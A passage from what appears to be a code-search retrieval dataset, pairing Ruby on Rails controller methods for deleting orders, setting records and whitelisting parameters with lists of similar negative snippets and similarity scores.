"0.6503477",
"0.6503377",
"0.6501844",
"0.65017694",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242",
"0.6501242"
] | 0.66486466 | 39 |
DELETE /orders/1 DELETE /orders/1.json | def destroy
@order.destroy
respond_to do |format|
format.html { redirect_to orders_url }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @v1_order = V1::Order.find(params[:id])\n @v1_order.destroy\n\n head :no_content\n end",
"def destroy\n @order1 = Order1.find(params[:id])\n @order1.destroy\n\n respond_to do |format|\n format.html { redirect_to order1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order_item.destroy\n\n render json: { operation: 'OK' }, status: :ok\n end",
"def destroy\n #@order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n render json: {success: true, status: :ok} \n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: t('orders.deleted') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @allorder.destroy\n respond_to do |format|\n format.html { redirect_to allorders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url}\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to farm_orders_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order1.destroy\n respond_to do |format|\n format.html { redirect_to order1s_url, notice: 'Order1 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url, notice: I18n.t('orders.successfully_deleted') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n head :no_content\n end",
"def destroy\n @order = Order.get!(params[:id])\n @order.destroy if @order\n\n respond_to do |format|\n format.html { redirect_to(orders_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Замовлення скасовано.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @updateallorder.destroy\n respond_to do |format|\n format.html { redirect_to updateallorders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @order_line = OrderLine.find(params[:id])\n @order_line.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to api_orders_url, notice: \"Order was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to circle_orders_path, notice: 'Order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'La transacción se ha eliminado con exito' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to(orders_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to(orders_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] | [
"0.75915873",
"0.7474085",
"0.7430466",
"0.73727256",
"0.73726606",
"0.73718613",
"0.73583674",
"0.73583674",
"0.73583674",
"0.73583674",
"0.73583674",
"0.734848",
"0.734848",
"0.734848",
"0.734848",
"0.734848",
"0.734848",
"0.734848",
"0.734848",
"0.734848",
"0.734848",
"0.734848",
"0.734848",
"0.734848",
"0.734848",
"0.734848",
"0.734848",
"0.734848",
"0.734848",
"0.734848",
"0.734848",
"0.734848",
"0.734848",
"0.734848",
"0.734848",
"0.734848",
"0.734848",
"0.7348152",
"0.7293748",
"0.72833794",
"0.7281109",
"0.7238469",
"0.7228825",
"0.7190349",
"0.7185685",
"0.71509385",
"0.7150568",
"0.7146138",
"0.71319234",
"0.7113484",
"0.71025765",
"0.7094033",
"0.7083263",
"0.7077533",
"0.7077307",
"0.7073675",
"0.70622516",
"0.70622516",
"0.70610887",
"0.7060775",
"0.7060775",
"0.7060775",
"0.7060775",
"0.7060775",
"0.7060775",
"0.7060775",
"0.7060775",
"0.7060775",
"0.7060775",
"0.7060775",
"0.7060775",
"0.7060775",
"0.7060775",
"0.7060775",
"0.7060775",
"0.7060775",
"0.7060775",
"0.7060775"
] | 0.731227 | 54 |
Use callbacks to share common setup or constraints between actions. | def set_order
@order = Order.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def set_actions\n actions :all\n end",
"def define_action_helpers?; end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def workflow\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def setup\n # override and do something appropriate\n end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def setup\n #implement in subclass;\n end",
"def after_set_callback; end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def around_hooks; end",
"def save_action; end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def duas1(action)\n action.call\n action.call\nend",
"def call\n setup_context\n super\n end"
] | [
"0.6165422",
"0.60457647",
"0.5946384",
"0.5916027",
"0.58905005",
"0.583495",
"0.5777223",
"0.56995213",
"0.56995213",
"0.56532377",
"0.5621348",
"0.5422839",
"0.54118705",
"0.54118705",
"0.54118705",
"0.53935355",
"0.5379617",
"0.53577393",
"0.53407264",
"0.53398263",
"0.53316694",
"0.53116405",
"0.52972704",
"0.5296464",
"0.529617",
"0.52609056",
"0.52449894",
"0.52388823",
"0.52388823",
"0.52388823",
"0.52388823",
"0.52388823",
"0.52339035",
"0.52324325",
"0.52277064",
"0.5221976",
"0.5219301",
"0.52134573",
"0.5207571",
"0.52070796",
"0.51770556",
"0.517467",
"0.51727664",
"0.51673347",
"0.51603955",
"0.51581466",
"0.515401",
"0.51533973",
"0.5152852",
"0.5143863",
"0.5140699",
"0.513394",
"0.5113603",
"0.5113603",
"0.51126283",
"0.5110439",
"0.51070756",
"0.50922215",
"0.50881314",
"0.50826275",
"0.50788856",
"0.50678945",
"0.5055518",
"0.5052638",
"0.5049997",
"0.5049997",
"0.50348604",
"0.5026469",
"0.50217324",
"0.50154436",
"0.5013927",
"0.50015604",
"0.50013465",
"0.49973735",
"0.49900484",
"0.49900484",
"0.49862546",
"0.4981161",
"0.49783245",
"0.49772155",
"0.49678212",
"0.49645492",
"0.49579585",
"0.49572104",
"0.49550694",
"0.4954394",
"0.4952923",
"0.49466532",
"0.49427935",
"0.49338013",
"0.4931052",
"0.49276745",
"0.4927467",
"0.4924998",
"0.49223173",
"0.49208498",
"0.49184024",
"0.49167758",
"0.49163175",
"0.4916066",
"0.49157935"
] | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def order_params
params.require(:order).permit(:uuid, :order_date, :user_id, :delivery_date)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
